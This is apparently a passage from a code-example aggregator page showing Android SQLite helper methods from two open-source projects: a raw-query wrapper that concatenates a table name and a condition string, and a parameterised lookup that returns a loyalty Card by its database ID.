        } catch (Exception e) {
            // TODO: handle exception
            //Log.e("GroupDBErro", "FetchAllDB "+e.getMessage());
            e.printStackTrace();
        }
        return gbList;
    }
 
Example 39
Project: FamilyLibraryManager   File: DataBaseOpenHelper.java   View source code 5 votes vote down vote up
/**
 * @param @return
 * @return Cursor
 * @Description 查询,方法重载,table表名,sqlString条件
 * @author lihy
 */
public Cursor query(String tableName, String sqlString) {
    DataBaseOpenHelper dataBaseOpenHelper = dbMaps.get(nowDbName);
    synchronized (dataBaseOpenHelper) {
        SQLiteDatabase database = dataBaseOpenHelper.getReadableDatabase();
        Cursor cursor = database.rawQuery("select * from " + tableName + " " + sqlString, null);

        return cursor;
    }
}
 
Example 40
Project: Loyalty   File: Database.java   View source code 5 votes vote down vote up
/**
 * Returns the Card-object associated with the given database ID.
 *
 * @param id Valid database id from whom a new Card-object should be created.
 * @return A new Card-object associated with this ID.
 */
public Card getCardByID(long id) {
    if (database == null) {
        throw new DatabaseNotOpenException("Database is not open!");
    }

    String[] projection = {
            DatabaseContract.COLUMN_ID,
            DatabaseContract.COLUMN_NAME,
            DatabaseContract.COLUMN_BARCODE,
            DatabaseContract.COLUMN_BARCODE_FORMAT,
            DatabaseContract.COLUMN_IMAGE_URL,
            DatabaseContract.COLUMN_HIT_COUNT
    };

    String selection = DatabaseContract.COLUMN_ID + " = ?";
    String[] selectionArgs = {String.valueOf(id)};

    Cursor cursor = database.query(DatabaseContract.TABLE_CARD, projection, selection, selectionArgs, null, null, null);

    if (cursor.getCount() > 0) {
        cursor.moveToFirst();
        Card output = buildCardFromCursor(cursor);
        cursor.close();
        return updateHitCount(output);
    } else {
        cursor.close();
        return null;
    }
}